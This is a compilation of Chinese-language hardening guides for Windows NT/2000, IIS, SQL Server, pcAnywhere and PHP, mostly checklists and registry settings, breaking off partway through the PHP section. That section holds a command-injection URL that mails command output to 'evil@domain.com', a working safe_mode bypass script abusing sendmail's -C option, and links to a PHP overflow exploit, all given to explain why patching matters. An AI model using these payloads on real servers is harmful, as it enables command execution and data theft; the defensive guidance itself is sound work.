    以下连接可以看到HTTP.sys日志文件的示例：http://www.microsoft.com/technet/treeview/default.asp ?url=/technet/prodtechnol/iis/iis6/proddocs/resguide/iisrg_log_qlow.asp
快速失败保护
    除了修改注册表，IIS 6.0的管理员还可以通过服务器设置，来使那些在一段时间内反复失败的进程关闭或者重新运行。这个附加的保护措施是为了防止应用程序因为受到攻击而不断地出错。这个特性就叫做快速失败保护。
    快速失败保护可以按照以下步骤在Internet信息服务管理工具中配置：

    1. 在Internet信息服务（IIS）管理器中，展开本地计算机。
    2. 展开应用程序池。
    3. 在要设定快速失败保护的应用程序池上单击鼠标右键。
    4. 选择属性。
    5. 选择运行状况选项卡，勾选启用快速失败保护。
    6. 在失败数中，填写可以忍受的工作进程失败次数（在结束这个进程之前）。 7. 在时间段中，填写累计工作进程失败次数统计的时间。

    应用程序隔离
    在早期版本的IIS中（5.0和以前的版本），由于将web应用程序隔离在独立的单元将会导致严重的性能下降，因此没有实现应用程序隔离。通常一个web应用程序的失败会影响同一服务器上其他应用程序。然而，IIS 6.0在处理请求时，通过将应用程序隔离成一个个叫做应用程序池的孤立单元这种设计上的改变，成倍的提高了性能。每个应用程序池中通常由一个或多个工作进程。这样就允许确定错误的位置，防止一个工作进程影响其他工作进程。这种机制也提高了服务器以及其上应用的可靠性。
    坚持最小特权原则
    IIS 6.0坚持一个基本安全原则--最小特权原则。也就是说，HTTP.sys中所有代码都是以Local System权限执行的，而所有的工作进程，都是以Network Service的权限执行的。Network Service是Windows 2003中新内置的一个被严格限制的账号。另外，IIS 6.0只允许管理员执行命令行工具，从而避免命令行工具的恶意使用。这些设计上的改变，都降低了通过潜在的漏洞攻击服务器的可能性。部分基础设计上的改变、一些简单配置的更改（包括取消匿名用户向web服务器的根目录写入权限，和将FTP用户的访问隔离在他们各自的主目录中）都极大地提高了IIS 6.0的安全性。
    IIS 6.0是微软公司在帮助客户提高安全性上迈出的正确一步。它为Web应用提供了一个可靠的安全的平台。这些安全性的提高应归功于IIS 6.0默认的安全设置，在设计过程中就对安全性的着重考虑，以及增强的监视与日志功能。但是管理员不应该认为仅通过简单的迁移到新平台就可以获得全面的安全。正确的做法是应该进行多层面的安全设置，从而获得更全面的安全性。这也与针对Code Red和Nimda病毒威胁而进行的深度安全防御原则是一致的。


Windows NT/2000 Web站点安全解决方案

信息来源:HOKY
用NT（2000）建立的WEB站点在所有的网站中占了很大一部分比例，但NT的安全问题也一直比较突出，使得一些每个基于NT的网站都有一种如履薄冰的感觉，然而微软并没有明确的坚决方案，只是推出了一个个补丁程序，各种安全文档上对于NT的安全描述零零碎碎，给人们的感觉是无所适从。于是，有的网管干脆什么措施也不采取，有的忙着下各种各样的补丁程序，有的在安装了防火墙以后就以为万事大吉了。这种现状直接导致了大量网站的NT安全性参差不齐。只有极少数NT网站有较高的安全性，大部分网站的安全性很差。为此，瑞星公司决心对NT主要漏洞予以搜集整理，同时，站在整体的高度，力图找出一套用NT建立安全站点的解决方案来，让用户放心使用NT（2000）建立WEB站点。
解决方案：（说明：本方案主要是针对建立Web站点的NT、2000服务器安全，对于局域网内的服务器并不合适。）

一、 安装：

1.不论是NT还是2000，硬盘分区均为NTFS分区；
说明：
（1） NTFS比FAT分区多了安全控制功能，可以对不同的文件夹设置不同的访问权限，安全性增强。
（2） 建议最好一次性全部安装成NTFS分区，而不要先安装成FAT分区再转化为NTFS分区，这样做在安装了SP5和SP6的情况下会导致转化不成功，甚至系统崩溃。
（3） 安装NTFS分区有一个潜在的危险，就是目前大多数反病毒软件没有提供对软盘启动后NTFS分区病毒的查杀，这样一旦系统中了恶性病毒而导致系统不能正常启动，后果就比较严重，因此及建议平时做好防病毒工作。

2.只安装一种操作系统；
说明：安装两种以上操作系统，会给黑客以可乘之机，利用攻击使系统重启到另外一个没有安全设置的操作系统（或者他熟悉的操作系统），进而进行破坏。

3.安装成独立的域控制器（Stand Alone）,选择工作组成员，不选择域；
说明：主域控制器（PDC）是局域网中队多台联网机器管理的一种方式，用于网站服务器包含着安全隐患，使黑客有可能利用域方式的漏洞攻击站点服务器。

4.将操作系统文件所在分区与WEB数据包括其他应用程序所在的分区分开，并在安装时最好不要使用系统默认的目录，如将\WINNT改为其他目录；
说明：黑客有可能通过WEB站点的漏洞得到操作系统对操作系统某些程序的执行权限，从而造成更大的破坏。

5.Windows程序,都要重新安装一次补丁程序， 2000下不需要这样做。
说明：
（1） 最新的补丁程序，表示系统以前有重大漏洞，非补不可了，对于局域网内服务器可以不是最新的，但站点必须安装最新补丁，否则黑客可能会利用低版本补丁的漏洞对系统造成威胁。这是一部分管理员较易忽视的一点；
（2） 安装NT的SP5、SP6有一个潜在威胁，就是一旦系统崩溃重装NT时，系统将不会认NTFS分区，原因是微软在这两个补丁中对NTFS做了改进。只能通过Windows 2000安装过程中认NTFS，这样会造成很多麻烦，建议同时做好数据备份工作。
（3） 安装Service Pack前应先在测试机器上安装一次，以防因为例外原因导致机器死机，同时做好数据备份。

6.尽量不安装与WEB站点服务无关的软件；
说明：其他应用软件有可能存在黑客熟知的安全漏洞。
二、 NT设置：

1.帐号策略：
（1）帐号尽可能少，且尽可能少用来登录；
说明：网站帐号一般只用来做系统维护，多余的帐号一个也不要，因为多一个帐号就会多一份被攻破的危险。
（2）除过Administrator外，有必要再增加一个属于管理员组的帐号；
说明：两个管理员组的帐号，一方面防止管理员一旦忘记一个帐号的口令还
有一个备用帐号；另方面，一旦黑客攻破一个帐号并更改口令，我们还有
有机会重新在短期内取得控制权。
（3）所有帐号权限需严格控制，轻易不要给帐号以特殊权限；
（4）将Administrator重命名，改为一个不易猜的名字。其他一般帐号也应尊
循着一原则。
说明：这样可以为黑客攻击增加一层障碍。
（5）将Guest帐号禁用，同时重命名为一个复杂的名字，增加口令，并将它从
Guest组删掉；
说明：有的黑客工具正是利用了guest 的弱点，可以将帐号从一般用户提
升到管理员组。
（6）给所有用户帐号一个复杂的口令（系统帐号出外），长度最少在8位以上， 且必须同时包含字母、数字、特殊字符。同时不要使用大家熟悉的单词（如microsoft）、熟悉的键盘顺序（如qwert）、熟悉的数字（如2000）等。
说明：口令是黑客攻击的重点，口令一旦被突破也就无任何系统安全可言了，而这往往是不少网管所忽视的地方，据我们的测试，仅字母加数字的5位口令在几分钟内就会被攻破，而所推荐的方案则要安全的多。
（7）口令必须定期更改（建议至少两周该一次），且最好记在心里，除此以外不要在任何地方做记录；另外，如果在日志审核中发现某个帐号被连续尝试，则必须立刻更改此帐号（包括用户名和口令）；
（8）在帐号属性中设立锁定次数，比如改帐号失败登录次数超过5次即锁定改帐号。这样可以防止某些大规模的登录尝试，同时也使管理员对该帐号提高警惕。

2.解除NetBios与TCP/IP协议的绑定
说明：NetBois在局域网内是不可缺少的功能，在网站服务器上却成了黑客扫描工具的首选目标。方法：NT：控制面版——网络——绑定——NetBios接口——禁用 2000：控制面版——网络和拨号连接——本地网络——属性——TCP/IP——属性——高级——WINS——禁用TCP/IP上的NETBIOS

3.删除所有的网络共享资源
说明：NT与2000在默认情况下有不少网络共享资源，在局域网内对网络管理和网络通讯有用，在网站服务器上同样是一个特大的安全隐患。（卸载"Microsoft 网络的文件和打印机共享"。当查看"网络和拨号连接"中的任何连接属性时，将显示该选项。单击"卸载"按钮删除该组件；清除"Microsoft 网络的文件和打印机共享"复选框将不起作用。）
方法：
(1)NT:管理工具——服务器管理器——共享目录——停止共享;
2000:控制面版——管理工具——计算及管理——共享文件夹———停止共享
但上述两种方法太麻烦，服务器每重启一次，管理员就必须停止一次
（2）修改注册表：
运行Regedit，然后修改注册表在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters下增加一个键
Name: AutoShareServer
Type: REG_DWORD
Value: 0
然后重新启动您的服务器，磁盘分区共享去掉，但IPC共享仍存在，需每次重启后手工删除。

4.改NTFS的安全权限；
说明：NTFS下所有文件默认情况下对所有人（EveryOne）为完全控制权限，这使黑客有可能使用一般用户身份对文件做增加、删除、执行等操作，建议对一般用户只给予读取权限，而只给管理员和System以完全控制权限，但这样做有可能使某些正常的脚本程序不能执行，或者某些需要写的操作不能完成，这时需要对这些文件所在的文件夹权限进行更改，建议在做更改前先在测试机器上作测试，然后慎重更改。

5.系统启动的等待时间设置为0秒，控制面板->系统->启动/关闭，然后将列表显示的默认值"30"改为"0"。（或者在boot.ini里将TimeOut 的值改为0）

6.只开放必要的端口，关闭其余端口。
说明：缺省情况下，所有的端口对外开放，黑客就会利用扫描工具扫描那些端口可以利用，这对安全是一个严重威胁。
现将一些常用端口列表如下：

端口 协议 应用程序
21 TCP FTP
25 TCP SMTP
53 TCP DNS
80 TCP HTTP SERVER
1433 TCP SQL SERVER
5631 TCP PCANYwhere
5632 UDP PCANYwhere
6（非端口） IP协议
8（非端口） IP协议

7.加强日志审核；
说明：日志任何包括事件查看器中的应用、系统、安全日志，IIS中的WWW、SMTP、FTP日志、SQL SERVER日志等，从中可以看出某些攻击迹象，因此每天查看日志是保证系统安全的必不可少的环节。安全日志缺省是不记录，帐号审核可以从域用户管理器——规则——审核中选择指标；NTFS中对文件的审核从资源管理器中选取。要注意的一点是，只需选取你真正关心的指标就可以了，如果全选，则记录数目太大，反而不利于分析；另外太多对系统资源也是一种浪费。

8.加强数据备份；
说明：这一点非常重要，站点的核心是数据，数据一旦遭到破坏后果不堪设想，而这往往是黑客们真正关心的东西；遗憾的是，不少网管在这一点上作的并不好，不是备份不完全，就是备份不及时。数据备份需要仔细计划，制定出一个策略并作了测试以后才实施，而且随着网站的更新，备份计划也需要不断地调整。

9.只保留TCP/IP协议，删除NETBEUI、IPX/SPX协议；
说明：网站需要的通讯协议只有TCP/IP，而NETBEUI是一个只能用于局域网的协议，IPX/SPX是面临淘汰的协议，放在网站上没有任何用处，反而会被某些黑客工具利用。

10.停掉没有用的服务，只保留与网站有关的服务和服务器某些必须的服务。
说明：有些服务比如RAS服务、Spooler服务等会给黑客带来可乘之机，如果确实没有用处建议禁止掉，同时也能节约一些系统资源。但要注意有些服务是操作系统必须的服务，建议在停掉前查阅帮助文档并首先在测试服务器上作一下测试。

11.隐藏上次登录用户名,修改注册表Winnt4.0：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon 中增加DontDisplayLastUserName，将其值设为1。Windows2000中该项已经存在，只需将其值改为1。
说明：缺省情况下，上次登录的用户名会出现在登录框中，这就为黑客猜测口令提供了线索，最好的方式就是隐藏上次登录用户名。

12.不要起用IP转发功能，控制面板->网络->协议->TCP/IP协议->属性，使这个选框为空。（NT）
说明：缺省情况下，NT的IP转发功能是禁止的，但注意不要启用，否则它会具有路由作用，被黑客利用来对其他服务器进行攻击。

13.安装最新的MDAC（http://www.microsoft.com/data/download.htm）
说明：MDAC为数据访问部件，通常程序对数据库的访问都通过它，但它也是黑客攻击的目标，为防止以前版本的漏洞可能会被带入升级后的版本，建议卸载后安装最新的版本。注意：在安装最新版本前最好先做一下测试，因为有的数据访问方式或许在新版本中不再被支持，这种情况下可以通过修改注册表来档漏洞，祥见漏洞测试文档。
三、 IIS设置(包括IIS 4.0和IIS5.0)

1.只安装Optoin Pack中必须的服务，建议不要安装Index Server、FrontPage Server Extensions、示例WWW站点等功能（NT）。Windows 2000中作类似设置。
说明：IIS中的众多安全隐患是由一些其他的功能引起的，如果仅做一个WWW站点，就需要安装必须的服务，如WWW服务、FTP服务，这样减少黑客利用这些漏洞攻击的机会。

2.停止默认的FTP站点、默认的Web站点、管理Web站点，在新的目录下新建WWW服务与FTP服务。
说明：默认的站点与管理Web站点含有大量有安全漏洞的文件，极易给黑客造成攻击机会。具体漏洞见所附安全文档。因此，必须禁止。同时，应该在新的目录下建立服务，这个目录千万不要放在InetPub\wwwroot下，最好放在与它不同的分区下。

3.删除不必要的IIS扩展名映射。最好去掉 .IDC、.HTR、.STM、.IDA、.HTW应用程序映射，.shtml、.shtm等如果无用，也应去掉。
说明：上述应用程序映射，具有大量安全隐患。方法：NT(2000同)：Web站点——属性——主目录——配置——应用程序映射

4.安装新的Service Pack后，IIS的应用程序映射应重新设置。
说明：安装新的Service Pack后，某些应用程序映射又会出现，导致出现安全漏洞。这是管理员较易忽视的一点。

5.设置IP拒绝访问列表
说明：对于WWW服务，可以拒绝一些对站点有攻击嫌疑的地址；尤其对于FTP服务，如果只是自己公司上传文件，就可以只允许本公司的IP访问改FTP服务，这样，安全性大为提高。

6.禁止对FTP服务的匿名访问
说明：如果允许对FTP服务做匿名访问，该匿名帐户就有可能被利用来获取更多的信息，以致对系统造成危害。

7.建议使用W3C扩充日志文件格式，每天记录客户IP地址，用户名，服务器端口，方法，URI字根，HTTP状态，用户代理，而且每天均要审查日志。（最好不要使用缺省的目录，建议更换一个记日志的路径，同时设置日志的访问权限，只允许管理员和system为Full Control）
说明：作为一个重要措施，既可以发现攻击的迹象，采取预防措施，也可以作为受攻击的一个证据。

8.慎重设置WEB站点目录的访问权限，一般情况下，不要给予目录以写入和允许目录浏览权限。只给予.ASP文件目录以脚本的权限，而不要给与执行权限。
说明：目录访问权限必须慎重设置，否则会被黑客利用。
四、 ASP编程安全：

安全不仅是网管的事，编程人员也必须在某些安全细节上注意，养成良好的安全习惯，否则，会给黑客造成可乘之机。目前，大多数网站上的ASP程序有这样那样的安全漏洞，但如果写程序的时候注意的话，还是可以避免的。

1.涉及用户名与口令的程序最好封装在服务器端，尽量少的在ASP文件里出现，涉及到与数据库连接地用户名与口令应给予最小的权限。
说明：用户名与口令，往往是黑客们最感兴趣的东西，如果被通过某种方式看到源代码，后果是严重的。因此要尽量减少它们在ASP文件中的出现次数。出现次数多得用户名与口令可以写在一个位置比较隐蔽的包含文件中。如果涉及到与数据库连接，理想状态下只给它以执行存储过程的权限，千万不要直接给予该用户以修改、插入、删除记录的权限。

2.需要经过验证的ASP页面，可跟踪上一个页面的文件名，只有从上一页面转进来的会话才能读取这个页面。
说明：现在的需要经过验证的ASP程序多是在页面头部加一个判断语句，但这还不够，有可能被黑客绕过验证直接进入，因此有必要跟踪上一个页面。具体漏洞见所附漏洞文档。

3.ASP主页.inc文件泄露问题
当存在asp 的主页正在制作并没有进行最后调试完成以前，可以被某些搜索引擎机动追加为搜索对象，如果这时候有人利用搜索引擎对这些网页进行查找，会得到有关文件的定位，并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
解决方案：程序员应该在网页发布前对其进行彻底的调试；安全专家需要固定asp 包含文件以便外部的用户不能看他们。 首先对 .inc 文件内容进行加密，其次也可以使用 .asp 文件代替 .inc 文件使用户无法从浏览器直接观看文件的源代码。.inc 文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的，尽量使用无规则的英文字母。

4.注意某些ASP编辑器会自动备份asp文件，会被下载的漏洞
在有些编辑asp程序的工具，当创建或者修改一个asp文件时，编辑器自动创建一个备份文件，比如：UltraEdit就会备份一个..bak文件，如你创建或者修改了some.asp，编辑器自动生成一个叫some.asp.bak文件，如果你没有删除这个 bak文件，攻击有可以直接下载some.asp.bak文件，这样some.asp的源程序就会给下载。

5.在处理类似留言板、BBS等输入框的ASP程序中，最好屏蔽掉HTML、JavaScript、VBScript语句，如无特殊要求，可以限定只允许输入字母与数字，屏蔽掉特殊字符。同时对输入字符的长度进行限制。而且不但在客户端进行输入合法性检查，同时要在服务器端程序中进行类似检查。
说明：输入框是黑客利用的一个目标，他们可以通过输入脚本语言等对用户客户端造成损坏；如果该输入框涉及到数据查询，他们会利用特殊查询输入得到更多的数据库数据，甚至是表的全部。因此必须对输入框进行过滤。但如果为了提高效率仅在客户端进行输入合法性检查，仍有可能被绕过，因此必须在服务器端再做一次检查。

6.防止ACCESS mdb 数据库有可能被下载的漏洞
在用ACCESS做后台数据库时，如果有人通过各种方法知道或者猜到了服务器的ACCESS数据库的路径和数据库名称，那么他能够下载这个ACCESS数据库文件，这是非常危险的。
解决方法：
(1) 为你的数据库文件名称起个复杂的非常规的名字，并把他放在几目录下。所谓 "非常规"， 打个比方： 比如有个数据库要保存的是有关书籍的信息，可不要把他起个"book.mdb"的名字，起个怪怪的名称，比如d34ksfslf.mdb， 再把他放在如./kdslf/i44/studi/ 的几层目录下，这样黑客要想通过猜的方式得到你的ACCESS数据库文件就难上加难了。
(2)不要把数据库名写在程序中。有些人喜欢把DSN写在程序中，比如：
DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
假如万一给人拿到了源程序，你的ACCESS数据库的名字就一览无余。因此建议你在ODBC里设置数据源，再在程序中这样写：
conn.open "shujiyuan"
(3)使用ACCESS来为数据库文件编码及加密。首先在选取 "工具->安全->加密/解密数据库，选取数据库（如：employer.mdb），然后接确定，接着会出现 "数据库加密后另存为"的窗口，存为：employer1.mdb。接着employer.mdb就会被编码，然后存为employer1.mdb..
要注意的是，以上的动作并不是对数据库设置密码，而只是对数据库文件加以编码，目的是为了防止他人使用别的工具来查看数据库文件的内容。
接下来我们为数据库加密，首先以打开经过编码了的 employer1.mdb， 在打开时，选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码"， 接着输入密码即可。这样即使他人得到了employer1.mdb文件，没有密码他是无法看到 employer1.mdb的。
五、 SQL SERVER的安全

SQL SERVER是NT平台上用的最多的数据库系统，但是它的安全问题也必须引起重视。数据库中往往存在着最有价值的信息，一旦数据被窃后果不堪设想。

1.及时更新补丁程序。
说明：与NT一样，SQL SERVER的许多漏洞会由补丁程序来弥补。建议在安装补丁程序之前先在测试机器上做测试，同时提前做好目标服务器的数据备份。

2.给SA一个复杂的口令。
说明：SA具有对SQL SERVER数据库操作的全部权限。遗憾的是，一部分网管对数据库并不熟悉，建立数据库的工作由编程人员完成，而这部分人员往往只注重编写SQL 语句本身，对SQL SERVER数据库的管理不熟悉，这样很有可能造成SA口令为空。这对数据库安全是一个严重威胁。目前具有这种隐患的站点不在少数。

3.严格控制数据库用户的权限，轻易不要给让用户对表有直接的查询、更改、插入、删除权限，可以通过给用户以访问视图的权限，以及只具有执行存储过程的权限。
说明：用户如果对表有直接的操作权限，就会存在数据被破坏的危险。

4.制订完整的数据库备份与恢复策略。
六、 PCANYwhere的安全：

目前，PCANYwhere是最流行的基于NT与2000的远程控制工具，同样也需要注意安全问题。

1.建议采用单独的用户名与口令，最好采用加密手段。千万不要采用与NT管理员一样的用户名与口令，也不要使用与NT集成的口令。
说明：PCANYwhere 口令是远程控制的第一个关口，如果与NT的一样， 就失去了安全屏障。被攻破后就毫无安全可言。而如果采用单独的口令，即使攻破了PCANYwhere，NT还有一个口令屏障。
2.及时安装较新的版本。


Win2000 AntiDDOS指南

信息来源：www.antpower.org
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]

关闭无效网关的检查。当服务器设置了多个网关，这样在网络不通畅的时候系统会尝试连接
第二个网关，通过关闭它可以优化网络。
EnableDeadGWDetect=dword:00000000
禁止响应ICMP重定向报文。此类报文有可能用以攻击，所以系统应该拒绝接受ICMP重定向报文。
EnableICMPRedirects=dword:00000000
不允许释放NETBIOS名。当攻击者发出查询服务器NETBIOS名的请求时，可以使服务器禁止响应。
注意系统必须安装SP2以上
NoNameReleaseOnDemand=dword:00000001
发送验证保持活动数据包。该选项决定TCP间隔多少时间来确定当前连接还处于连接状态，
不设该值，则系统每隔2小时对TCP是否有闲置连接进行检查，这里设置时间为5分钟。
KeepAliveTime=dword:000493e0
禁止进行最大包长度路径检测。该项值为1时，将自动检测出可以传输的数据包的大小，
可以用来提高传输效率，如出现故障或安全起见，设项值为0，表示使用固定MTU值576bytes。
EnablePMTUDiscovery=dword:00000000
启动syn攻击保护。缺省项值为0，表示不开启攻击保护，项值为1和2表示启动syn攻击保护，设成2之后
安全级别更高，对何种状况下认为是攻击，则需要根据下面的TcpMaxHalfOpen和TcpMaxHalfOpenRetried值设定的条件来触发启动了。这里需要注意的是，NT4.0必须设为1，设为2后在某种特殊数据包下会导致系统重启。
SynAttackProtect=dword:00000002
同时允许打开的半连接数量。所谓半连接，表示未完整建立的TCP会话，用netstat命令可以看到呈SYN_RCVD状态的就是。这里使用微软建议值，服务器设为100，高级服务器设为500。建议可以设稍微小一点。
TcpMaxHalfOpen=dword:00000064
判断是否存在攻击的触发点。这里使用微软建议值，服务器为80，高级服务器为400。
TcpMaxHalfOpenRetried=dword:00000050
设置等待SYN-ACK时间。缺省项值为3，缺省这一过程消耗时间45秒。项值为2，消耗时间为21秒。
项值为1，消耗时间为9秒。最低可以设为0，表示不等待，消耗时间为3秒。这个值可以根据遭受攻击规模修改。微软站点安全推荐为2。
TcpMaxConnectResponseRetransmissions=dword:00000001
设置TCP重传单个数据段的次数。缺省项值为5，缺省这一过程消耗时间240秒。微软站点安全推荐为3。
TcpMaxDataRetransmissions=dword:00000003
设置syn攻击保护的临界点。当可用的backlog变为0时，此参数用于控制syn攻击保护的开启，微软站点安全推荐为5。
TCPMaxPortsExhausted=dword:00000005
禁止IP源路由。缺省项值为1，表示不转发源路由包，项值设为0，表示全部转发，设置为2，表示丢弃所有接受的源路由包，微软站点安全推荐为2。
DisableIPSourceRouting=dword:0000002
限制处于TIME_WAIT状态的最长时间。缺省为240秒，最低为30秒，最高为300秒。建议设为30秒。
TcpTimedWaitDelay=dword:0000001e

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
增大NetBT的连接块增加幅度。缺省为3，范围1-20，数值越大在连接越多时提升性能。每个连接块消耗87个字节。
BacklogIncrement=dword:00000003
最大NetBT的连接快的数目。范围1-40000，这里设置为1000，数值越大在连接越多时允许更多连接。
MaxConnBackLog=dword:000003e8

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Afd\Parameters]
配置激活动态Backlog。对于网络繁忙或者易遭受SYN攻击的系统，建议设置为1，表示允许动态Backlog。
EnableDynamicBacklog=dword:00000001
配置最小动态Backlog。默认项值为0，表示动态Backlog分配的自由连接的最小数目。当自由连接数目
低于此数目时，将自动的分配自由连接。默认值为0，对于网络繁忙或者易遭受SYN攻击的系统，建议设置为20。
MinimumDynamicBacklog=dword:00000014
最大动态Backlog。表示定义最大准连接的数目，主要看内存大小，理论每32M内存最大可以
增加5000个，这里设为20000。
MaximumDynamicBacklog=dword:00002e20
每次增加的自由连接数据。默认项值为5，表示定义每次增加的自由连接数目。对于网络繁忙或者易遭受SYN攻击的系统，建议设置为10。
DynamicBacklogGrowthDelta=dword:0000000a
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
启用网卡上的安全过滤
EnableSecurityFilters=dword:00000001
同时打开的TCP连接数，这里可以根据情况进行控制。
TcpNumConnections=
该参数控制 TCP 报头表的大小限制。在有大量 RAM 的机器上，增加该设置可以提高 SYN 攻击期间的响应性能。
TcpMaxSendFree=
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{自己的网卡接口}]
禁止路由发现功能。ICMP路由通告报文可以被用来增加路由表纪录，可以导致攻击，所以禁止路由发现。
PerformRouterDiscovery =dword:00000000


保护IIS十个步骤
下面的十个步骤可以作为保护IIS的基础。

IIS（Internet Information Server）是一个黑客们特别喜欢的目标。因此，对于管理IIS网页服务器的管理员来说，确保服务器被保护是一件至关重要的事情。IIS 4.0和IIS 5.0的缺省安装尤其容易受到攻击。
解决方案
采取下面的10个步骤来保证IIS的安全：

专门为IIS应用和数据设置一个NTFS格式的驱动器。如果可能的话，不允许IUSER（或者无论什么匿名用户）访问任何其他的驱动器。如果应用遇到任何由于匿名用户没有权限访问位于其他驱动器上的程序而造成的问题，那么，使用Sysinternals的FileMon来监控哪一个文件该用户不能访问，试着通过将程序转移到IIS驱动器来开展工作。如果这样不可行的话，则允许IUSER仅仅可以访问这个文件。
设置驱动器上的NTFS权限： 研发人员 ＝完全的 IUSER ＝只读和只执行 系统和管理员＝完全的
使用一个软件防火墙来确保没有终端用户（只有研发人员）可以访问IIS机器上的除了端口80之外的其他端口。
使用微软的工具来保护机器：IIS Lockdown和UrlScan。
激活使用IIS的日志。除了IIS日志外，如果可能的话，同时使用来自防火墙的日志。
从缺省位置移动日志时，确保已经对他们进行备份。为日志文件夹建立一个备份，这样在另一个位置总是有一个可以使用的拷贝。
激活机器上的Windows检查，因为在试图反向追查攻击者的行为的时候从来都是没有足够的数据。利用检查日志，可以使用脚本来检查任何可疑的行为，然后可以发送一个报告给管理员。现在，这听起来好像有一点极端，但是如果安全在你公司真的非常重要的话，这种行为是一个很好的实践。建立审计来报告所有的失败账号登录事件。另外，对于IIS日志，将缺省的位置 （c:\winnt\system32\config\secevent.log）改变为另一个不同的位置，并且确保你有一个备份而且有一个复制的拷贝。
基于常规的经验，尽可能多的阅读安全文章（各种来源的）。最好是尽可能多的了解IIS并进行全面的安全实践而不仅仅是按照其他人（比如我）告诉你的经验来实现。
申请一个IIS漏洞邮件列表，并且坚持阅读最新的文章。这种列表有来自因特网安全系统的X-Force Alerts and Advisories。
最后，确保你经常运行Windows更新并且验证补丁是否真的得到了配置。


PHP安全配置

一、Web服务器安全
PHP其实不过是Web服务器的一个模块功能，所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全，这样就扯远了，无穷无尽。PHP可以和各种Web服务器结合，这里也只讨论Apache。非常建议以chroot方式安装启动Apache，这样即使Apache和PHP及其脚本出现漏洞，受影响的也只有这个禁锢的系统，不会危害实际系统。但是使用chroot的Apache后，给应用也会带来一定的麻烦，比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接，这在效率上会稍微差一点。还有mail函数发送邮件也是个问题，因为php.ini里的：
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台，所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞，而且攻击程序已经广泛流传，成功率非常高：
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞，虽然不能获得本地用户权限，但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞，4.0.5版本开始mail函数增加了第五个参数，由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单，只需用分号隔开后面加shell命令就可以了，比如存在PHP脚本evil.php：
<? mail("foo@bar,"foo","bar","",$bar); ?>
执行如下的URL：
http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数，所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令：
<?
# 注意，下面这两个必须是不存在的，或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm
        -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本，这样才能消除基本的安全问题。
三、PHP本身的安全配置
PHP的配置非常灵活，可以通过php.ini, httpd.conf, .htaccess文件（该目录必须设置了AllowOverride All或Options）进行设置，还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。
如果配置选项是唯一PHP_INI_SYSTEM属性的，必须通过php.ini和httpd.conf来修改，它们修改的是PHP的Master值，但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效，httpd.conf里设置的选项是对该定义的目录下所有脚本生效。
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置，也可以通过在脚本程序自身用ini_set()函数设定，它们修改的是Local值，改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效，ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同，可以用如下命令查找当前源代码的main.c文件得到所有的选项，以及它的属性：
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前，应该好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性，必须通过php.ini或httpd.conf来设置。要启用safe_mode，只需修改php.ini：
safe_mode = On
或者修改httpd.conf，定义目录：
<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>
重启apache后safe_mode就生效了。启动safe_mode，会对许多PHP函数进行限制，特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件，比如test.php脚本的内容为：
<?include("index.html")?>
几个文件的属性如下：
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息：
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
